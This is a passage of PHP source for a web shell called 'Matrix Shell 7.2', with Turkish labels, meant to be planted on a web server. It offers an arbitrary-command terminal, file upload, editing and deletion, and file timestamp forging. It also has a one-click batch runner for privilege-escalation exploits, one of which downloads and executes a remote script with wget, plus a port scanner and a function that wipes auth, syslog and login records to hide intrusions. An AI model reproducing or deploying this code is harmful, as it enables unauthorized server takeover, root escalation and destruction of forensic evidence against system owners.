        128 => array('baslik' => 'CVE-2023-22809 sudoedit (Sudoedit)', 'komut' => 'wget -q https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh -O /tmp/e.sh && bash /tmp/e.sh && whoami && rm /tmp/e.sh'),
        129 => array('baslik' => 'LD_PRELOAD ile shared library injection', 'komut' => 'echo "void _init(){unsetenv(\"LD_PRELOAD\");setgid(0);setuid(0);system(\"whoami\");}" > /tmp/e.c && gcc -shared -fPIC -o /tmp/e.so /tmp/e.c && LD_PRELOAD=/tmp/e.so ping 127.0.0.1 2>/dev/null; rm /tmp/e*'),
        130 => array('baslik' => 'CVE-2021-3560 Polkit (manuel)', 'komut' => 'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:privesc string:"" int32:1 2>/dev/null && sleep 2 && su privesc -c whoami 2>/dev/null && userdel -f privesc 2>/dev/null'),
    );
}

function listDizin($dizin = '.') {
    $dosyalar = array();
    if ($handle = opendir($dizin)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $yol = $dizin . '/' . $entry;
                $tip = @is_dir($yol) ? 'dizin' : (@is_file($yol) ? 'dosya' : 'bilinmeyen');
                $boyut = ($tip == 'dosya') ? @filesize($yol) : 0;
                $izinler = @fileperms($yol) ? substr(sprintf('%o', @fileperms($yol)), -4) : '????';
                $degistirme = @filemtime($yol) ? date("Y-m-d H:i:s", @filemtime($yol)) : 'Bilinmiyor';
                $dosyalar[] = array('isim' => $entry, 'yol' => $yol, 'tip' => $tip, 'boyut' => $boyut, 'izinler' => $izinler, 'degistirme' => $degistirme);
            }
        }
        closedir($handle);
    }
    usort($dosyalar, function($a, $b) {
        if ($a['tip'] == 'dizin' && $b['tip'] != 'dizin') return -1;
        if ($a['tip'] != 'dizin' && $b['tip'] == 'dizin') return 1;
        return strcasecmp($a['isim'], $b['isim']);
    });
    return $dosyalar;
}

function sadeceDizinler($dizin) {
    $dirs = array();
    if ($handle = opendir($dizin)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != ".." && @is_dir($dizin.'/'.$entry)) {
                $dirs[] = array('isim' => $entry, 'yol' => $dizin.'/'.$entry);
            }
        }
        closedir($handle);
    }
    usort($dirs, function($a, $b) {
        return strcasecmp($a['isim'], $b['isim']);
    });
    return $dirs;
}

function logTemizle() {
    $logDosyalari = array('/var/log/auth.log','/var/log/syslog','/var/log/messages','/var/log/apache2/access.log','/var/log/apache2/error.log','/var/log/nginx/access.log','/var/log/nginx/error.log','/var/log/lastlog','/var/log/wtmp','/var/log/btmp');
    $temizlenenler = array();
    foreach ($logDosyalari as $log) {
        if (file_exists($log) && is_writable($log) && file_put_contents($log, '') !== false) {
            $temizlenenler[] = $log;
        }
    }
    return $temizlenenler;
}

function backdoorTara($dizin) {
    $suskun = array();
    $kelimeler = array('base64_decode','eval(','exec(','shell_exec','system(','passthru','popen(','proc_open','assert(','preg_replace','create_function','$_GET[','$_POST[','$_REQUEST[','phpinfo','chmod(','fwrite(','file_put_contents','curl_exec','allow_url_include');
    if (!class_exists('RecursiveIteratorIterator')) return "HATA: RecursiveIteratorIterator bulunamadi.";
    try {
        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dizin, RecursiveDirectoryIterator::SKIP_DOTS));
        foreach ($iterator as $f) {
            if ($f->isFile() && in_array($f->getExtension(), array('php','phtml','html','htm'))) {
                if ($f->getPathname() == __FILE__) continue;
                $icerik = file_get_contents($f->getPathname());
                $eslesen = array();
                foreach ($kelimeler as $k) if (stripos($icerik, $k) !== false) $eslesen[] = $k;
                if (count($eslesen) > 3) $suskun[] = array('dosya' => $f->getPathname(), 'suskunlar' => $eslesen, 'sayi' => count($eslesen));
            }
        }
    } catch (Exception $e) { return "HATA: " . $e->getMessage(); }
    return $suskun;
}

function agTarama($hedef, $portlar) {
    $sonuc = array();
    $liste = strpos($portlar, '-') ? range((int)substr($portlar,0,strpos($portlar,'-')), (int)substr($portlar,strpos($portlar,'-')+1)) : explode(',', $portlar);
    foreach ($liste as $port) {
        $s = @fsockopen($hedef, (int)$port, $errno, $errstr, 2);
        if ($s) {
            $servis = getservbyport($port, 'tcp');
            $sonuc[] = "Port $port: ACIK - " . ($servis ? $servis : 'Bilinmeyen');
            fclose($s);
        }
    }
    return $sonuc;
}

if (isset($_POST['ajax_action'])) {
    header('Content-Type: application/json');
    $act = $_POST['ajax_action'];

    if ($act == 'get_dosya_icerik') {
        $yol = urldecode($_POST['yol']);
        echo json_encode(file_exists($yol) ? array('icerik' => file_get_contents($yol)) : array('hata' => 'Bulunamadi'));
        exit;
    }
    if ($act == 'kaydet_dosya') {
        $yol = urldecode($_POST['yol']);
        echo json_encode(array('basari' => file_put_contents($yol, $_POST['icerik']) !== false));
        exit;
    }
    if ($act == 'yeni_dosya_olustur') {
        $yol = rtrim(urldecode($_POST['dizin']), '/') . '/' . $_POST['dosyaAdi'];
        echo json_encode(array('basari' => file_put_contents($yol, $_POST['icerik']) !== false));
        exit;
    }
    if ($act == 'mkdir') {
        $yol = rtrim(urldecode($_POST['dizin']), '/') . '/' . $_POST['isim'];
        echo json_encode(array('basari' => @mkdir($yol, 0755)));
        exit;
    }
    if ($act == 'sil') {
        $yol = urldecode($_POST['yol']);
        echo json_encode(array('basari' => is_dir($yol) ? @rmdir($yol) : @unlink($yol)));
        exit;
    }
    if ($act == 'rename') {
        $eski = urldecode($_POST['eski']); $yeni = urldecode($_POST['yeni']);
        if (dirname($yeni) == '.') $yeni = dirname($eski) . '/' . $yeni;
        echo json_encode(array('basari' => @rename($eski, $yeni)));
        exit;
    }
    if ($act == 'chmod') {
        $yol = urldecode($_POST['yol']); $mod = octdec($_POST['mod']);
        echo json_encode(array('basari' => @chmod($yol, $mod)));
        exit;
    }
    if ($act == 'touch') {
        $yol = urldecode($_POST['yol']); $tarih = $_POST['tarih'];
        $cikti = calistir("touch -d \"$tarih\" " . escapeshellarg($yol));
        echo json_encode(array('basari' => true, 'cikti' => $cikti));
        exit;
    }
    if ($act == 'kopyala') {
        $_SESSION['pano'] = urldecode($_POST['yol']);
        echo json_encode(array('basari' => true, 'mesaj' => 'Kopyalandi: ' . basename($_SESSION['pano'])));
        exit;
    }
    if ($act == 'yapistir') {
        $dizin = urldecode($_POST['dizin']);
        if (!empty($_SESSION['pano']) && file_exists($_SESSION['pano'])) {
            $hedef = rtrim($dizin, '/') . '/' . basename($_SESSION['pano']);
            $basarili = is_dir($_SESSION['pano']) ? (strpos(calistir("cp -r " . escapeshellarg($_SESSION['pano']) . " " . escapeshellarg($hedef)), 'HATA') === false) : @copy($_SESSION['pano'], $hedef);
            echo json_encode(array('basari' => $basarili, 'mesaj' => $basarili ? 'Yapistirildi' : 'Hata'));
        } else echo json_encode(array('basari' => false, 'mesaj' => 'Pano bos'));
        exit;
    }
    if ($act == 'zip_sec') {
        $secili = json_decode($_POST['secili'], true);
        $dizin = urldecode($_POST['dizin']);
        $zipAdi = $dizin . '/archive_' . date('YmdHis') . '.zip';
        $komut = "cd " . escapeshellarg($dizin) . " && zip -r " . escapeshellarg($zipAdi);
        foreach ($secili as $s) $komut .= " " . escapeshellarg(basename($s));
        $cikti = calistir($komut);
        echo json_encode(array('basari' => true, 'zip' => basename($zipAdi), 'cikti' => $cikti));
        exit;
    }
    if ($act == 'unzip') {
        $yol = urldecode($_POST['yol']);
        $cikti = calistir("cd " . escapeshellarg(dirname($yol)) . " && unzip -o " . escapeshellarg($yol));
        echo json_encode(array('basari' => true, 'cikti' => $cikti));
        exit;
    }
    if ($act == 'download') {
        $yol = urldecode($_POST['yol']);
        if (!file_exists($yol)) die('Dosya yok');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($yol).'"');
        header('Content-Length: '.filesize($yol));
        readfile($yol);
        exit;
    }
    if ($act == 'listdir') {
        $dizin = urldecode($_POST['dizin']);
        $dosyalar = listDizin($dizin);
        $html = '';
        foreach ($dosyalar as $d) {
            $simge = $d['tip'] == 'dizin' ? '📁' : '📄';
            $html .= '<div class="ikon-item" data-yol="'.htmlspecialchars($d['yol']).'" data-tip="'.$d['tip'].'">';
            $html .= '<div class="ikon-simge">'.$simge.'</div>';
            $html .= '<div class="ikon-isim">'.htmlspecialchars($d['isim']).'</div>';
            $html .= '</div>';
        }
        echo json_encode(array('html' => $html));
        exit;
    }
    if ($act == 'listtable') {
        $dizin = urldecode($_POST['dizin']);
        $dosyalar = listDizin($dizin);
        $html = '<table class="dosya-tablosu"><thead><tr><th>Isim</th><th>Tur</th><th>Boyut</th><th>Izin</th><th>Degistirme</th></tr></thead><tbody>';
        foreach ($dosyalar as $d) {
            $html .= '<tr class="dosya-satir" data-yol="'.htmlspecialchars($d['yol']).'" data-tip="'.$d['tip'].'">';
            $html .= '<td class="'.($d['tip']=='dizin'?'dizin':'dosya').'">'.($d['tip']=='dizin'?'📁 ':'📄 ').htmlspecialchars($d['isim']).'</td>';
            $html .= '<td>'.$d['tip'].'</td><td>'.($d['tip']=='dosya'?number_format($d['boyut']).' bytes':'-').'</td><td>'.$d['izinler'].'</td><td>'.$d['degistirme'].'</td>';
            $html .= '</tr>';
        }
        $html .= '</tbody></table>';
        echo json_encode(array('html' => $html));
        exit;
    }
    if ($act == 'get_subdirs') {
        $dizin = urldecode($_POST['dizin']);
        $dirs = sadeceDizinler($dizin);
        $html = '';
        foreach ($dirs as $d) {
            $html .= '<div class="agac-dizin" data-yol="'.htmlspecialchars($d['yol']).'">';
            $html .= '<span class="agac-ok">▶</span> 📁 <span class="agac-isim">'.htmlspecialchars($d['isim']).'</span>';
            $html .= '<div class="agac-cocuklar" style="display:none;margin-left:16px;"></div>';
            $html .= '</div>';
        }
        echo json_encode(array('html' => $html));
        exit;
    }
    if ($act == 'terminal') {
        $komut = $_POST['komut'];
        if (!isset($_SESSION['terminal'])) $_SESSION['terminal'] = array();
        $cikti = calistir($komut);
        $_SESSION['terminal'][] = array('komut' => $komut, 'cikti' => $cikti);
        echo json_encode(array('basari' => true, 'cikti' => $cikti));
        exit;
    }
    if ($act == 'terminal_temizle') {
        $_SESSION['terminal'] = array();
        echo json_encode(array('basari' => true));
        exit;
    }
    if ($act == 'run_exploit_batch') {
        $id = (int)$_POST['exploit_id'];
        $exploits = get_exploits();
        if (isset($exploits[$id])) {
            $exp = $exploits[$id];
            $cikti = calistir($exp['komut']);
            $kullanici = trim(calistir('whoami'));
            $durum = (strpos($kullanici, 'root') !== false || strpos($kullanici, 'uid=0') !== false) ? 'basarili' : ((empty(trim($cikti)) && strpos($cikti, 'timed out') === false) ? 'pasif' : 'basarisiz');
            echo json_encode(array('status' => 'success', 'exploit_id' => $id, 'baslik' => $exp['baslik'], 'cikti' => $cikti, 'kullanici' => $kullanici, 'durum' => $durum, 'is_root' => ($durum == 'basarili')));
        } else echo json_encode(array('status' => 'finished'));
        exit;
    }
    if ($act == 'upload') {
        $dizin = urldecode($_POST['dizin']);
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $hedef = rtrim($dizin, '/') . '/' . basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], $hedef)) {
                echo json_encode(array('basari' => true, 'mesaj' => 'Yuklendi: ' . basename($_FILES['file']['name'])));
            } else {
                echo json_encode(array('basari' => false, 'mesaj' => 'Yukleme basarisiz'));
            }
        } else {
            $hata = isset($_FILES['file']) ? 'Hata kodu: ' . $_FILES['file']['error'] : 'Dosya secilmedi';
            echo json_encode(array('basari' => false, 'mesaj' => $hata));
        }
        exit;
    }
    if ($act == 'log_temizle') {
        $temizlenen = logTemizle();
        echo json_encode(array('basari' => true, 'mesaj' => count($temizlenen) . ' log temizlendi.'));
        exit;
    }
    if ($act == 'backdoor_tara') {
        $dizin = isset($_POST['dizin']) ? urldecode($_POST['dizin']) : '.';
        $sonuc = backdoorTara($dizin);
        if (is_string($sonuc) && strpos($sonuc, 'HATA') === 0) {
            echo json_encode(array('basari' => false, 'sonuc' => array(), 'mesaj' => $sonuc));
        } else {
            echo json_encode(array('basari' => true, 'sonuc' => $sonuc, 'mesaj' => ''));
        }
        exit;
    }
    if ($act == 'ag_tara') {
        $hedef = isset($_POST['hedef']) ? $_POST['hedef'] : '127.0.0.1';
        $portlar = isset($_POST['portlar']) ? $_POST['portlar'] : '1-100';
        $acikPortlar = agTarama($hedef, $portlar);
        if (count($acikPortlar) > 0) {
            echo json_encode(array('basari' => true, 'mesaj' => "ACIK PORTLAR ($hedef):\n" . implode("\n", $acikPortlar)));
        } else {
            echo json_encode(array('basari' => true, 'mesaj' => 'Acik port bulunamadi.'));
        }
        exit;
    }
    exit;
}

if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
    if (isset($_POST['sifre']) && $_POST['sifre'] === $sifre) {
        $_SESSION['auth'] = true;
        header('Location: ' . basename(__FILE__));
        exit;
    } else {
        die('<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Matrix Giris</title><style>body{background:black;color:lime;font-family:monospace;text-align:center;padding:50px;}input{background:rgba(0,255,0,0.1);border:1px solid lime;color:lime;padding:10px;}</style></head><body><h1>Matrix\'e Hos Geldin</h1><form method="post"><input type="password" name="sifre" placeholder="Sifre"><input type="submit" value="Giris"></form></body></html>');
    }
}

$serverInfo = array(
    'OS' => php_uname('s') . ' ' . php_uname('r') . ' (' . php_uname('m') . ')',
    'Web' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?',
    'PHP' => phpversion(),
    'Yuk' => (function_exists('sys_getloadavg') && ($yuk = sys_getloadavg()) !== false && is_array($yuk)) ? implode(' ', $yuk) : '?',
    'Disk' => (function_exists('disk_free_space') && function_exists('disk_total_space') && @disk_free_space("/") && @disk_total_space("/")) 
    ? round(disk_free_space("/")/1024/1024,1).' MB / '.round(disk_total_space("/")/1024/1024,1).' MB' 
    : '?',
    'Panel' => file_exists('/usr/local/cpanel/cpanel') ? 'cPanel/WHM' : (file_exists('/usr/local/directadmin') ? 'DirectAdmin' : 'Yok')
);
$mevcutDizin = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Matrix Shell 7.2</title>
<style>
:root {
    --bg:#000; --fg:#0f0; --border:#0f0;
    --win-bg:rgba(0,0,0,0.9); --win-header:#1a1a1a;
    --sidebar-bg:rgba(0,20,0,0.8); --toolbar-bg:rgba(0,30,0,0.7);
    --btn:#0a0; --btn-hover:#0c0; --btn-text:#fff;
    --shadow:0 0 30px rgba(0,255,0,0.4);
    --radius:10px;
}
*{margin:0;padding:0;box-sizing:border-box;font-family:'Segoe UI', system-ui, monospace;}
body{background:var(--bg);color:var(--fg);overflow:hidden;height:100vh;width:100vw;}
canvas#matrix-canvas{position:fixed;top:0;left:0;z-index:0;}
#desktop{position:relative;z-index:10;width:100%;height:100%;}
#panel{position:absolute;top:0;left:0;right:0;height:32px;background:rgba(0,0,0,0.9);border-bottom:1px solid var(--border);display:flex;align-items:center;padding:0 15px;color:#fff;font-weight:bold;z-index:20;gap:20px;font-size:13px;backdrop-filter:blur(5px);}
#panel a{color:#fff;text-decoration:none;}
#panel .system-info{font-size:11px;margin-left:auto;display:flex;gap:15px;opacity:0.8;}
#desktop-icons{position:absolute;top:60px;left:20px;z-index:10;display:flex;flex-direction:column;gap:20px;}
.desktop-icon{display:flex;flex-direction:column;align-items:center;color:var(--fg);cursor:pointer;width:80px;text-align:center;padding:8px;border-radius:8px;transition:background 0.2s;}
.desktop-icon:hover{background:rgba(0,255,0,0.1);}
.desktop-icon span{font-size:38px;}
.desktop-icon p{font-size:12px;margin-top:5px;word-break:break-word;}
.window{position:absolute;top:50px;left:50px;width:850px;height:550px;background:var(--win-bg);border:1px solid var(--border);border-radius:var(--radius);box-shadow:var(--shadow);display:none;flex-direction:column;z-index:100;min-width:400px;min-height:250px;resize:both;overflow:hidden;backdrop-filter:blur(10px);}
.window.active{z-index:200;}
.window.maximized{top:32px!important;left:0!important;width:100vw!important;height:calc(100vh - 32px - 34px)!important;resize:none;border-radius:0;}
.window-header{background:var(--win-header);padding:8px 12px;display:flex;align-items:center;border-bottom:1px solid var(--border);border-radius:var(--radius) var(--radius) 0 0;cursor:default;color:#ccc;user-select:none;gap:8px;}
.window.maximized .window-header{border-radius:0;}
.window-header .traffic-lights{display:flex;gap:8px;margin-right:10px;}
.traffic-light{width:12px;height:12px;border-radius:50%;cursor:pointer;transition:filter 0.2s;}
.traffic-light:hover{filter:brightness(1.4);}
.traffic-light.close{background:#ff5f57;}
.traffic-light.minimize{background:#febc2e;}
.traffic-light.maximize{background:#28c840;}
.window-header .win-title{flex:1;font-weight:600;font-size:13px;text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}
.window-content{flex:1;overflow:hidden;display:flex;flex-direction:column;}
button,.btn{background:var(--btn);color:var(--btn-text);border:1px solid var(--border);padding:6px 14px;border-radius:6px;cursor:pointer;margin:2px;font-size:13px;transition:background 0.2s;}
button:hover{background:var(--btn-hover);}
input[type="text"],textarea,select{background:#111;border:1px solid var(--border);color:var(--fg);padding:8px 10px;border-radius:6px;font-size:13px;width:100%;margin:3px 0;outline:none;transition:border-color 0.2s;}
input[type="text"]:focus,textarea:focus{border-color:#fff;}
.taskbar{position:fixed;bottom:0;left:0;right:0;height:34px;background:rgba(0,0,0,0.9);border-top:1px solid var(--border);display:flex;align-items:center;padding:0 15px;z-index:150;gap:6px;backdrop-filter:blur(5px);}
.taskbar-item{background:var(--btn);color:#fff;padding:5px 14px;border-radius:6px;cursor:pointer;font-size:12px;transition:background 0.2s;}
.taskbar-item:hover{background:var(--btn-hover);}
.taskbar-item.active{background:#0c0;}
.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:500;align-items:center;justify-content:center;}
.modal-box{background:var(--win-bg);border:1px solid var(--border);border-radius:12px;padding:25px;min-width:350px;box-shadow:var(--shadow);}
#contextMenu{display:none;position:absolute;background:#0a0a0a;border:1px solid var(--border);z-index:1000;min-width:180px;border-radius:8px;box-shadow:0 0 15px rgba(0,0,0,0.8);}
#contextMenu div{padding:10px 16px;cursor:pointer;color:var(--fg);font-size:13px;transition:background 0.15s;}
#contextMenu div:hover{background:rgba(0,255,0,0.15);}
.finder-toolbar{display:flex;align-items:center;gap:8px;padding:10px 15px;background:var(--toolbar-bg);border-bottom:1px solid var(--border);flex-wrap:wrap;}
.finder-toolbar input[type="text"]{flex:1;min-width:180px;background:#0a0a0a;}
.finder-body{display:flex;flex:1;overflow:hidden;}
.finder-sidebar{width:240px;min-width:180px;background:var(--sidebar-bg);border-right:1px solid var(--border);overflow-y:auto;padding:10px 0;font-size:13px;}
.finder-sidebar .agac-dizin{padding:4px 10px;cursor:pointer;display:flex;align-items:center;gap:4px;white-space:nowrap;border-radius:4px;margin:0 5px;}
.finder-sidebar .agac-dizin:hover{background:rgba(0,255,0,0.1);}
.finder-sidebar .agac-dizin.active{background:rgba(0,255,0,0.2);}
.finder-sidebar .agac-ok{font-size:10px;width:14px;text-align:center;transition:transform 0.2s;display:inline-block;}
.finder-sidebar .agac-ok.acik{transform:rotate(90deg);}
.finder-main{flex:1;overflow-y:auto;padding:15px;display:flex;flex-wrap:wrap;align-content:flex-start;gap:15px;}
.finder-main.ikon-gorunum .ikon-item{width:90px;height:95px;display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;cursor:pointer;border:1px solid transparent;border-radius:8px;padding:8px;font-size:12px;word-break:break-word;transition:background 0.15s;}
.finder-main.ikon-gorunum .ikon-item:hover{background:rgba(0,255,0,0.08);border-color:rgba(0,255,0,0.3);}
.finder-main.ikon-gorunum .ikon-simge{font-size:38px;}
.finder-main.liste-gorunum{padding:0;flex-wrap:nowrap;display:block;}
.finder-main.liste-gorunum .ikon-item{display:none;}
.finder-main.liste-gorunum table{width:100%;border-collapse:collapse;}
.finder-main.liste-gorunum table th{background:rgba(0,255,0,0.15);color:#fff;padding:10px;text-align:left;position:sticky;top:0;}
.finder-main.liste-gorunum table td{padding:8px 10px;border-bottom:1px solid rgba(0,255,0,0.2);}
.finder-main.liste-gorunum table tr:hover{background:rgba(0,255,0,0.05);}
.dizin{color:#ffd700;font-weight:bold;}
.dosya{color:#0ff;}
#win-terminal .window-content{background:#000;padding:0;}
.terminal-header{background:#1a1a1a;padding:8px 12px;border-bottom:1px solid var(--border);display:flex;gap:15px;font-size:12px;color:#aaa;}
.terminal-body{padding:10px;flex:1;overflow-y:auto;font-family:'Courier New', monospace;font-size:14px;line-height:1.5;}
.terminal-input-row{display:flex;padding:5px 10px;background:#0a0a0a;border-top:1px solid var(--border);}
.terminal-input-row input{background:transparent;border:none;color:var(--fg);flex:1;font-family:'Courier New', monospace;font-size:14px;}
.root-result{display:block;background:rgba(0,0,0,0.7);border:1px solid var(--border);padding:10px;margin:10px 0;border-radius:8px;}
.root-result.hidden{display:none;}
#guvenlik-cikti { max-height: 300px; overflow-y: auto; }
</style>
</head>
<body>
<canvas id="matrix-canvas"></canvas>
<div id="desktop">
    <div id="panel">
        <span>🐚 Matrix Shell 7.2</span>
        <a href="?cikis=1">🚪 Cikis</a>
        <div class="system-info">
            <span><?php echo $serverInfo['OS']; ?></span>
            <span>PHP <?php echo $serverInfo['PHP']; ?></span>
            <span>Disk: <?php echo $serverInfo['Disk']; ?></span>
            <span><?php echo $serverInfo['Panel']; ?></span>
        </div>
    </div>
    <div id="desktop-icons">
        <div class="desktop-icon" ondblclick="openWindow('finder')"><span>📁</span><p>Finder</p></div>
        <div class="desktop-icon" ondblclick="openWindow('terminal')"><span>💻</span><p>Terminal</p></div>
        <div class="desktop-icon" ondblclick="openWindow('root')"><span>🔓</span><p>Root Test</p></div>
        <div class="desktop-icon" ondblclick="openWindow('guvenlik')"><span>🛡️</span><p>Guvenlik</p></div>
        <div class="desktop-icon" ondblclick="openWindow('ag')"><span>🌐</span><p>Ag</p></div>
    </div>
    <div class="taskbar" id="taskbar"></div>
</div>

<div id="win-finder" class="window">
    <div class="window-header" onmousedown="dragStart(event, 'finder')">
        <div class="traffic-lights">
            <div class="traffic-light close" onclick="closeWindow('finder')"></div>
            <div class="traffic-light minimize" onclick="minimizeWindow('finder')"></div>
            <div class="traffic-light maximize" onclick="toggleMaximize('finder')"></div>
        </div>
        <span class="win-title">Finder</span>
    </div>
    <div class="window-content">
        <div class="finder-toolbar">
            <button onclick="finderGeri()" title="Geri">←</button>
            <button onclick="finderIleri()" title="Ileri">→</button>
            <button onclick="finderUstGit()" title="Ust Dizin">↖️</button>
            <button onclick="finderYenile()" title="Yenile">↻</button>
            <input type="text" id="finder-adres" placeholder="Dizin yolu..." onkeydown="if(event.key==='Enter')finderGit(this.value)">
            <button onclick="finderGit(document.getElementById('finder-adres').value)">Git</button>
            <input type="text" id="finder-arama" placeholder="🔍 Ara..." oninput="finderAra()" style="max-width:160px;">
            <button onclick="finderYeniDosya()">📄 Yeni Dosya</button>
            <button onclick="finderYeniKlasor()">📁 Yeni Klasor</button>
            <button onclick="document.getElementById('finder-upload-input').click()">📤 Yukle</button>
            <input type="file" id="finder-upload-input" style="display:none;" onchange="finderUpload(this)">
            <button onclick="finderToggleGorunum()" id="finder-gorunum-btn">🗂️ Ikon</button>
        </div>
        <div class="finder-body">
            <div class="finder-sidebar" id="finder-sidebar"></div>
            <div class="finder-main ikon-gorunum" id="finder-main"></div>
        </div>
    </div>
</div>

<div id="win-terminal" class="window" style="width:700px;height:450px;">
    <div class="window-header" onmousedown="dragStart(event, 'terminal')">
        <div class="traffic-lights">
            <div class="traffic-light close" onclick="closeWindow('terminal')"></div>
            <div class="traffic-light minimize" onclick="minimizeWindow('terminal')"></div>
            <div class="traffic-light maximize" onclick="toggleMaximize('terminal')"></div>
        </div>
        <span class="win-title">Terminal — <?php echo trim(calistir('whoami')).'@'.php_uname('n'); ?></span>
    </div>
    <div class="window-content">
        <div class="terminal-body" id="term-cikti"><?php if(isset($_SESSION['terminal'])) foreach($_SESSION['terminal'] as $t) echo '<div><span style="color:#0f0">$ '.htmlspecialchars($t['komut']).'</span><br>'.nl2br(htmlspecialchars($t['cikti'])).'</div>'; ?></div>
        <div class="terminal-input-row">
            <span style="color:#0f0;margin-right:5px;">$</span>
            <input type="text" id="term-komut" placeholder="Komut girin..." onkeydown="if(event.key==='Enter')termCalistir()">
            <button onclick="termCalistir()" style="background:transparent;border:none;color:#0f0;cursor:pointer;">↵</button>
            <button onclick="termTemizle()" style="background:transparent;border:none;color:#f00;cursor:pointer;">🗑️</button>
        </div>
    </div>
</div>

<div id="win-root" class="window" style="width:750px;height:500px;">
    <div class="window-header" onmousedown="dragStart(event, 'root')">
        <div class="traffic-lights">
            <div class="traffic-light close" onclick="closeWindow('root')"></div>
            <div class="traffic-light minimize" onclick="minimizeWindow('root')"></div>
            <div class="traffic-light maximize" onclick="toggleMaximize('root')"></div>
        </div>
        <span class="win-title">Root Yukseltme Testi</span>
    </div>
    <div class="window-content" style="padding:15px;overflow-y:auto;">
        <div style="display:flex;align-items:center;gap:10px;margin-bottom:10px;">
            <span>Toplam <b><?php echo count(get_exploits()); ?></b> exploit</span>
            <button id="root-btn" onclick="startRootTests(<?php echo count(get_exploits()); ?>)">🔓 ROOT OL</button>
        </div>
        <div id="progress-container" style="display:none;margin:8px 0;"><div id="progress-bar" style="background:lime;height:6px;width:0%;border-radius:3px;transition:width 0.3s;"></div><small id="progress-text"></small></div>
        <div class="filter-cards" style="display:flex;gap:10px;margin:10px 0;">
            <button class="filter-card active" onclick="filtrele('tum',this)">Tumu</button>
            <button class="filter-card" onclick="filtrele('basarili',this)">Basarili (0)</button>
            <button class="filter-card" onclick="filtrele('basarisiz',this)">Basarisiz (0)</button>
            <button class="filter-card" onclick="filtrele('pasif',this)">Pasif (0)</button>
        </div>
        <div id="root-listesi" style="font-size:13px;"></div>
    </div>
</div>

<div id="win-guvenlik" class="window" style="width:600px;height:450px;">
    <div class="window-header" onmousedown="dragStart(event, 'guvenlik')">
        <div class="traffic-lights">
            <div class="traffic-light close" onclick="closeWindow('guvenlik')"></div>
            <div class="traffic-light minimize" onclick="minimizeWindow('guvenlik')"></div>
            <div class="traffic-light maximize" onclick="toggleMaximize('guvenlik')"></div>
        </div>
        <span class="win-title">Guvenlik Araclari</span>
    </div>
    <div class="window-content" style="padding:20px;display:flex;flex-direction:column;gap:20px;">
        <div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
            <h3 style="margin-bottom:10px;">🗑️ Log Temizleme</h3>
            <button onclick="logTemizleForm()">Sistem Loglarini Temizle</button>
        </div>
        <div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
            <h3 style="margin-bottom:10px;">🔍 Backdoor Tarama</h3>
            <input type="text" id="tara-dizin" value="<?php echo getcwd(); ?>" style="width:100%;margin-bottom:8px;">
            <button onclick="backdoorTaraForm()">Taramayi Baslat</button>
            <div id="guvenlik-cikti" style="font-size:12px;margin-top:10px;min-height:20px;"></div>
        </div>
    </div>
</div>

<div id="win-ag" class="window" style="width:600px;height:450px;">
    <div class="window-header" onmousedown="dragStart(event, 'ag')">
        <div class="traffic-lights">
            <div class="traffic-light close" onclick="closeWindow('ag')"></div>
            <div class="traffic-light minimize" onclick="minimizeWindow('ag')"></div>
            <div class="traffic-light maximize" onclick="toggleMaximize('ag')"></div>
        </div>
        <span class="win-title">Ag Tarama</span>
    </div>
    <div class="window-content" style="padding:20px;">
        <div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
            <h3 style="margin-bottom:10px;">🌐 Port Tarama</h3>
            <input type="text" id="agHedef" value="127.0.0.1" placeholder="Hedef IP" style="width:100%;margin-bottom:8px;">
            <input type="text" id="agPortlar" value="1-100" placeholder="Port araligi (orn: 1-1000)" style="width:100%;margin-bottom:8px;">
            <button onclick="agTaraForm()">Taramayi Baslat</button>
        </div>
        <div id="ag-cikti" style="font-size:12px;margin-top:15px;max-height:250px;overflow-y:auto;"></div>
    </div>
</div>

<div id="chmod-modal" class="modal-overlay"><div class="modal-box"><h3>🔑 Izin Degistir</h3><p id="chmod-dosya"></p><input type="text" id="chmod-deger" placeholder="0755"><br><button onclick="chmodKaydet()">Degistir</button> <button onclick="document.getElementById('chmod-modal').style.display='none'">Kapat</button></div></div>
<div id="touch-modal" class="modal-overlay"><div class="modal-box"><h3>🕒 Zaman Degistir</h3><p id="touch-dosya"></p><input type="text" id="touch-tarih" placeholder="YYYY-MM-DD HH:MM:SS"><br><button onclick="touchKaydet()">Degistir</button> <button onclick="document.getElementById('touch-modal').style.display='none'">Kapat</button></div></div>
<div id="edit-modal" class="modal-overlay"><div class="modal-box" style="width:80%;height:80%;"><h3>✏️ Dosya Duzenle</h3><textarea id="edit-icerik" style="width:100%;height:75%;background:#111;color:lime;"></textarea><br><button onclick="editKaydet()">Kaydet</button> <button onclick="document.getElementById('edit-modal').style.display='none'">Kapat</button></div></div>
<div id="newfile-modal" class="modal-overlay"><div class="modal-box"><h3>📄 Yeni Dosya</h3><input type="text" id="newfile-ad" placeholder="Dosya adi"><textarea id="newfile-icerik" style="height:150px;background:#111;color:lime;" placeholder="Icerik (opsiyonel)"></textarea><br><button onclick="newfileKaydet()">Olustur</button> <button onclick="document.getElementById('newfile-modal').style.display='none'">Kapat</button></div></div>
